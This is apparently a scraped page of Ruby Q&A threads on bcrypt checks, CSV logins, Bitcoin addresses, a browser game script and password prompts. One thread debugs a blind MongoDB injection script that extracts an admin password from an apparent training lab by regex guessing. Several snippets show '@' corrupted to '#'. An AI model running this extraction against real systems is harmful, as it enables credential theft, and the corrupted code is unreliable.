bcrypt-ruby password generation and checking - ruby

I was trying out the bcrypt-ruby gem and i wrote the following code to generate a random password and verify it
require 'bcrypt'
require 'securerandom'
def encrypt_token(tok)
BCrypt::Password.create(tok)
end
def check_token(enc,tok)
g = BCrypt::Password.new(enc)
if tok==g
puts 'equal'
else
puts 'not equal'
end
end
s = SecureRandom.hex(12)
puts s
e = encrypt_token(s)
puts e
check_token(e,s)
The code keeps printing 'not equal' instead of 'equal'. Where am I going wrong? Thanks :)

bcrypt has an automatic-salt feature. You can't compare two bcrypts of the same string, they'll be different.
Try to compare like this :
def check_token(enc,tok)
if enc == tok #We compare it with the unencrypted string.
puts 'equal'
else
puts 'not equal'
end
end
The trick is that when creating a new bcrypt, you end up with a Password object that overrides the == operator. It'll check if the password is correct against an unencrypted string.
Also because of this, be careful : in the example above, comparing enc == tok works.
Comparing tok == enc won't as you'll be using the standard == from the class String
Take a look at the doc and the source here :
http://bcrypt-ruby.rubyforge.org/

Related

How to valid input to matches data in CSV file

I'm using Ruby 2.7 above. I've been working this task and still learning. I'm pretty sure that I am not using the right code. This task require me to do a mimic atm program. One of the requirements is where I need to check user valid inputs are matches the data in the CSV.file before user can access the program.
I'm using ruby (not allowed to use rails or any advance ruby code). I searched for similar program anywhere for reference but mostly does not involve with CSV file. How do I check that input from user is valid and matches in CSV file? I'm having trouble on how to do a validation and how to valid with two inputs (username and password). This program is run on command-line. Apologies if im not being clear enough. Can you tell me from my code where I'm going wrong please?
I have three .rb files and two csv files. I am not sure if I'm supposed to create two separate csv files.
function.rb (where all the functions)
login.rb (verify username and password from 'user.csv' file before proceed to system.rb file)
system.rb (the main where all data save or changes in 'account.csv' file)
below is function.rb file.
require 'csv'
class Function
def log_in(user)
CSV.foreach('user.csv', 'r', headers => true) do |row|
#check the user is valid, else error
if row[0] == uname && row[1] == pwd
puts "succesfully login"
ATMSystem.main_menu
end
end
if login == false
puts "invalid credentials."
Login.log_menu
end
end
login.rb file
require './function'
class Inn
def signin
function = AtmFunction.new
puts "Account login"
puts "Enter username"
uname = gets.chomp
puts "Enter password"
pwd = gets.chomp
user = [uname, pwd]
function.log_in(user)
end
end
Let's say this is your users.csv file:
name,password
bob,1234
alice,5678
This is one possible option.
Load the file into an array of hashes Enumerable#to_h and Hash#transform_keys:
require 'csv'
data_file = 'user.csv'
user_map = CSV.foreach(data_file, headers: true).map do |row|
row.to_h.transform_keys(&:to_sym)
end
user_map
#=> [{:name=>"bob", :password=>"1234"}, {:name=>"alice", :password=>"5678"}]
Then, given the input from the user:
input_username = 'bob'
input_password = '1234'
Check if user exists and in case compare the password:
user = user_map.find { |h| h[:name] == input_username }
#=> {:name=>"bob", :password=>"1234"}
user[:password] == input_password
#=> true
Check the password if Enumerable#find returns a non nil value: the user doesn't exist:
input_username = 'ron'
user = user_map.find { |h| h[:name] == input_username }
user
#=> nil
Following your implementation you can also write:
login_passed = false
CSV.foreach(data_file, headers: true) do |row|
login_passed = row['name'] == input_username && row['password'] == input_password
break if login_passed
end
login_passed
#=> true (or false)

unexpected keyword_end MongoDB Injection

im doing one of the tasks to retrieve more information from the NoSQL database using ruby .everytime i run the code im getting syntax error
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
There is a typo while is a keyword and need to be written in downcase.
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
Btw. proper indention and some white improves readability a lot.
Its an issue with httparty gem.
First, install the same. also I made some changes in code.
The code is running but still not getting the result.
I have made below changes :
require 'httparty'
URL=(URI.encode 'myurl')
def check?(str)
resp = HTTParty.get(URI.encode "http://myurl/?search=admin%27%20%26%26%20this.password.match(#/{str}/)%00")
return resp.body =~ />admin
puts check?("5").inspect
puts check?("aaa").inspect
It is recommended to use URI.encode function.
I still trying to get the desired output.
I hope I will get the result.
You can modify the script or let me know if you had success in running the script.

How to Generate a Bitcoin Address in Ruby

I'm trying to generate Bitcoin addresses in ruby by using this guide:
https://bhelx.simst.im/articles/generating-bitcoin-keys-from-scratch-with-ruby/
But something isn't quite right, because the addresses being generated aren't coming out quite right.
Here's the class I'm using:
require 'openssl'
require 'ecdsa'
require 'securerandom'
require 'base58'
class BitcoinAddressGenerator
ADDRESS_VERSION = '00'
def self.generate_address
# Bitcoin uses the secp256k1 curve
curve = OpenSSL::PKey::EC.new('secp256k1')
# Now we generate the public and private key together
curve.generate_key
private_key_hex = curve.private_key.to_s(16)
puts "private_key_hex: #{private_key_hex}"
public_key_hex = curve.public_key.to_bn.to_s(16)
puts "public_key_hex: #{public_key_hex}"
pub_key_hash = public_key_hash(public_key_hex)
puts "pub_key_hash: #{pub_key_hash}"
address = generate_address_from_public_key_hash(public_key_hash(public_key_hex))
puts "address: #{address}"
end
def self.generate_address_from_public_key_hash(pub_key_hash)
pk = ADDRESS_VERSION + pub_key_hash
encode_base58(pub_key_hash + checksum(pub_key_hash))
end
def self.int_to_base58(int_val, leading_zero_bytes=0)
alpha = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
base58_val, base = '', alpha.size
while int_val > 0
int_val, remainder = int_val.divmod(base)
base58_val = alpha[remainder] + base58_val
end
base58_val
end
def self.encode_base58(hex)
leading_zero_bytes = (hex.match(/^([0]+)/) ? $1 : '').size / 2
("1"*leading_zero_bytes) + int_to_base58( hex.to_i(16) )
end
def self.checksum(hex)
sha256(sha256(hex))[0...8]
end
# RIPEMD-160 (160 bit) hash
def self.rmd160(hex)
Digest::RMD160.hexdigest([hex].pack("H*"))
end
def self.sha256(hex)
Digest::SHA256.hexdigest([hex].pack("H*"))
end
# Turns public key into the 160 bit public key hash
def self.public_key_hash(hex)
rmd160(sha256(hex))
end
end
It outputs something like:
private_key_hex: C96DE079BAE4877E086288DEDD6F9F70B671862B7E6E4FC0EC401CADB81EDF45
public_key_hex: 0422435DF80F62E643D3CFBA66194052EC9ED0DFB47A1B26A4731079A5FF84FBF98FF0A540B6981D75BA789E6192F3B38BABEF6B0286CAEB4CAFCB51BB96D97B46
public_key_hash: db34927cc5ec0066411f366d9a95f9c6369c6e1d
address: Lz3xnxx6Uh79PEzPpWSMMZJVWR36hJgVL
If I plug this address into blockchain.info and similar tools it says that it's an invalid address.
Any help would be greatly appreciated.
In your generate_address_from_public_key_hash method, the checksum should be over the hash including the address prefix. You’re not actually using the pk variable at all at the moment after you assign it. The code should look something like:
def self.generate_address_from_public_key_hash(pub_key_hash)
pk = ADDRESS_VERSION + pub_key_hash
encode_base58(pk + checksum(pk)) # Using pk here, not pub_key_hash
end
The mistake seems to also be on the page you link to, I guess the author must have made a copy/paste error.
As an aside, keeping everything in hex strings and decoding back and forth seems an odd way of doing this. I would have thought it would be easier to use raw binary strings, and only encode to hex when printing out values.

loop through json array and retrieve one attribute, gives errors also

i am new to programming in ruby, and i am trying to get the value of json['earning_rate_hr'] but i get an error, in '[]': no implicit conversion of String into Integer (TypeError)
i know and i understand the error, however this is not my main question here is my file :
checkingchecker.rb :
#require_relative '../lib/hackex/net/typhoeus'
require_relative '../lib/hackex'
require 'rubygems'
require 'json'
file = 'accounts1.txt'
f = File.open file, 'r'
puts "MADE BY THE PEOPLE, FOR THE PEOPLE #madebylorax"
puts ""
puts "--------------------------------------------------------"
puts ""
while line = f.gets
line = line.chomp.split(';')
email, password = line
puts "logging in as " + email
HackEx.LoginDo(email, password) do |http, auth_token, user|
puts "getting info..."
user = HackEx::Request.Do(http, HackEx::Request.UserInfo(auth_token))['user']
puts "receieved user info!"
bank = HackEx::Request.Do(http, HackEx::Request.UserBank(auth_token))['user_bank']
puts "recieved bank info!"
json = HackEx::Request.Do(http, HackEx::Request.UserSpam(auth_token))['spam']
puts "recieved spam info!"
puts json['earning_rate_hr'] #error line, the error is because this is an array, and it cant be turned into integer, i was wondering if there is a way to use puts on it without trying to make it an integer
userchecking = bank["checking"]
checking = userchecking.scan(/.{1,3}/).join(',')
puts email + " has in Checking: BTC #{checking}"
puts ""
puts "--------------------------------------------------------"
puts ""
end
end
i tried to do puts json, it puts items like this one :
{"id"=>"9867351", "user_id"=>"289108", "victim_user_id"=>"1512021",
"victim_ip"=
"86.60.226.175", "spam_level"=>"50", "earning_rate_hr"=>"24300", "total_earning s"=>"13267800", "started_at"=>"2015-11-01 07:46:59",
"last_collected_at"=>"2015- 11-24 01:46:59"}
what i want to do is select the earning_rate_hr for each one of them and add them together, however i do not have a clue on how to do that, since the error is not fixed and i cant get the value of it
ps : i tried turning it into a Hash, and i also tried using .first, but .first only shows the firs one, i want to show all of them, thank you
I know you from line messenger, I haven't used ruby codes in a long time and this one keeps giving me cloudflare errors, I'm not sure if its because of server downtime/maintainance or whatever but yeah anyway heres your script, enjoy farming ;) -LineOne
PS, I changed a few strings to make it look a lil cleaner so you can see the spam income easier, and added the sleep (1) because sleeping for one second before reconnecting helps to prevent cloudflare errors
also you don't need to require json or rubygems in your hackex scripts because its required in the library so its all covered pre-user-input/script
require_relative 'libv5/lib/hackex'
while 1<2
begin
print'Filename: '
fn=gets.chomp
file = fn+'.txt'
f = File.open file, 'r'
puts "MADE BY THE PEOPLE, FOR THE PEOPLE #madebylorax" #helped by lineone
puts ""
puts "--------------------------------------------------------"
puts ""
while line = f.gets
line = line.chomp.split(';')
email, password = line
HackEx.LoginDo(email, password) do |http, auth_token, user|
puts "Retrieving Info..."
puts''
user = HackEx::Request.Do(http, HackEx::Request.UserInfo(auth_token))['user']
bank = HackEx::Request.Do(http, HackEx::Request.UserBank(auth_token))['user_bank']
json = HackEx::Request.Do(http, HackEx::Request.UserSpam(auth_token))['spam']
cash_count=0
tot_count=0
json.each do |j|
earn_rate = j['earning_rate_hr']
total= j['total_earnings']
cash_count+=earn_rate.to_i
tot_count+=total.to_i
end
print "#{email}: current earnings: #{cash_count} per hour, Total earnings #{tot_count},"
userchecking = bank["checking"]
checking = userchecking.scan(/.{1,3}/).join(',')
puts " #{checking} BTC in Checking"
puts ""
puts "--------------------------------------------------------"
puts ""
sleep 1
end
end
rescue
puts"#{$!}"
end
end
Thats fine you can also calculate the total income of your farms by adding new variables at the top example a=0 then adding the number at the end a+=tot_count
This should help:
earning_rates = json.map{|e| e["earning_rate_hr"]}
puts "Earning rates per hour: #{earning_rates.join(" ")}"
puts "Sum of earning rates: #{earning_rates.map{|e| e.to_i}.inject{|sum, x| sum + x}}"

Recursive loop for password checking in Ruby

OK, I am trying to write a simple object that will contain two strings, one a "user password" and one a "target password," this would be needed if you wanted to script a password change on a remote server using sudo (the first password would be to perform the sudo command, the "target password" would be the string to which the password should be reset.
I want the user to be prompted once for the first password, and then the user will have five tries to enter a second password string and repeat it accurately. What I came up with, the code below, does not seem to work. Any ideas?
require 'pp'
require 'RubyGems'
require 'highline/import' #gem install highline
class Authorization
attr_reader :user_password , :target_password
pass_code = lambda {
first_attempt = ask("Enter target password: "){ |q| q.echo = '*' }
second_attempt = ask("Re-enter password to verify"){ |q| q.echo = '*'}
}
### So we need some sort of recursive loop
def initialize(target_pass=false)
#user_password = ask("Enter your admin password: ") { |q| q.echo = '*' }
if target_pass
count = 1
while n < 6
pass_code
if first_attempt == second_attempt
#target_password = first_attempt
return
else
count += 1
end
end
end
end
end
my_pass = Authorization.new(true)
pp "pass" , my_pass
I see several problems
It's require "rubygems" (not RubyGems)
Also, if using Ruby 1.9, loading rubygems isn't necessary.
The lambda has locally scoped variables assigned that aren't available in the constructor
The lambda definition itself is out of scope for access anyway
The loop never terminates (btw, this isn't recursion).
Try something like this instead.
require "highline/import"
class Authorization
attr_accessor :user_password, :target_password
def prompt(prompt_for_target = false)
self.user_password = ask_for_password("Enter your admin password")
return unless prompt_for_target
5.times do
password = ask_for_password("Enter target password")
confirmation = ask_for_password("Re-enter password to verify")
if password == confirmation
self.target_password = password
return
end
end
end
private
def ask_for_password(message)
ask("#{message}: ") { |q| q.echo = '*' }
end
end
auth = Authorization.new
auth.prompt(true)
puts auth.user_password
puts auth.target_password
Pretty straightforward and similar to Ryan's solution:
require 'highline/import' #gem install highline
class Authorization
attr_reader :admin_password, :target_password
def initialize
#admin_password = ask_for_password("Enter your admin password: ")
5.times do
#target_password = ask_for_password("Enter target password: ")
verify_target_pass = ask_for_password("Re-enter password to verify: ")
break if #target_password == verify_target_pass
#target_password = nil
end
end
private
def ask_for_password(message)
ask(message) {|q| q.echo = "*"}
end
end
my_pass = Authorization.new
puts "Administrator's password is: #{my_pass.admin_password}"
puts "Target password is: #{my_pass.target_password}"
First, thank you all for your answers. This was my first question, and, unfortunately, came out a little garbled, but all of you seemed to understand it really well.
IMHO, what I was trying to do recursion, but I am not sure that this is the best place for that discussion.
I am using Ruby 1.8.7, which I probably should have mentioned at the beginning of the post. Ryan's solution worked, but only when I took out the references to "self" and substituted in the instance variable:
#user_password = ask_for_password("Enter your admin password") #instead of
self.user_password = ask_for_password("Enter your admin password")
this might not be necessary for Ruby 1.9, but it does have the advantage of making prostosuper's almost identical to Ryan's.
Once again, thank you all! This has been a great "getting my feet wet" experience.
First, this isn't recursion. This is iteration. A recursive function would call itself again:
def factorial(n)
if (n == 0)
1
else
n * factorial(n-1)
end
end
Now, for the specific problem you've got; you are trying to loop with the condition:
while n < 6
But note that in the body of your loop, you're doing nothing to change the value of n. So your loop cannot terminate. (Further, since you've forgotten to assign a value to n in the first place, it probably cannot start, either. :)

Resources